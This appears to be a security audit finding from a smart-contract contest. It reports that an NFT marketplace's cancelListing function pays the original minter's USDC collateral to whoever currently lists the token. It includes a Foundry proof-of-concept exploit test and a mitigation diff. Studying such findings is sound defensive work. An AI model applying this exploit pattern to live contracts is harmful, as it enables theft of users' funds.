NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: medium

`cancelListing` sends original minter's collateral to current lister — collateral theft

Author Revealed upon completion

Root + Impact

Description

  • When minting, users deposit lockAmount USDC as collateral stored in collateralForMinting[tokenId]. This collateral belongs to the original minter.

  • cancelListing() sends collateralForMinting[tokenId] to listing.seller — the current lister, not the original minter. After a secondary sale, the buyer can list and cancel to steal the minter's collateral without ever having deposited any.

usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
// @> listing.seller = current lister (Bob), but collateral belongs to original minter (Alice)
collateralForMinting[listing.tokenId] = 0;
// @> zeroed — original minter can never recover it

Risk

Likelihood:

  • Any buyer who relists and cancels receives the original minter's collateral — normal marketplace flow

Impact:

  • 20 USDC stolen per token. Combined with the listing overwrite, the original minter also loses sale proceeds — total loss is collateral + proceeds

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.34;
import {Test} from "forge-std/Test.sol";
import {NFTDealers} from "../../src/NFTDealers.sol";
import {MockUSDC} from "../../src/MockUSDC.sol";
contract Exploit_CollateralTheft is Test {
NFTDealers nftDealers;
MockUSDC usdc;
address owner = makeAddr("owner");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(owner, address(usdc), "NFTD", "NFTD", "img", 20e6);
usdc.mint(alice, 100e6);
usdc.mint(bob, 200e6);
vm.startPrank(owner);
nftDealers.revealCollection();
nftDealers.whitelistWallet(alice);
nftDealers.whitelistWallet(bob);
vm.stopPrank();
vm.startPrank(alice);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
vm.stopPrank();
}
function testExploit_CollateralTheft() public {
vm.startPrank(alice);
nftDealers.list(1, 100e6);
vm.stopPrank();
vm.startPrank(bob);
usdc.approve(address(nftDealers), 100e6);
nftDealers.buy(1);
nftDealers.list(1, uint32(1e6));
nftDealers.cancelListing(1); // Bob gets Alice's 20 USDC collateral
vm.stopPrank();
uint256 bobGain = usdc.balanceOf(bob) - 100e6; // started with 200, spent 100 on buy
assertEq(bobGain, 20e6, "Bob stole Alice's collateral");
vm.startPrank(alice);
vm.expectRevert("Only seller can call this function");
nftDealers.collectUsdcFromSelling(1); // Alice also locked out of proceeds
vm.stopPrank();
}
}

Run with forge test --match-test testExploit_CollateralTheft. Bob gains 20 USDC he never deposited (Alice's minting collateral), and Alice's collectUsdcFromSelling reverts — total loss to Alice is 119 USDC.

Recommended Mitigation

Track the original minter per token and return collateral only to them. This ensures secondary buyers cannot claim collateral they never deposited.

+ mapping(uint256 => address) public originalMinter;
function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
// ...
collateralForMinting[tokenIdCounter] = lockAmount;
+ originalMinter[tokenIdCounter] = msg.sender;
_safeMint(msg.sender, tokenIdCounter);
}
function cancelListing(uint256 _listingId) external {
// ...
- usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
+ usdc.safeTransfer(originalMinter[listing.tokenId], collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!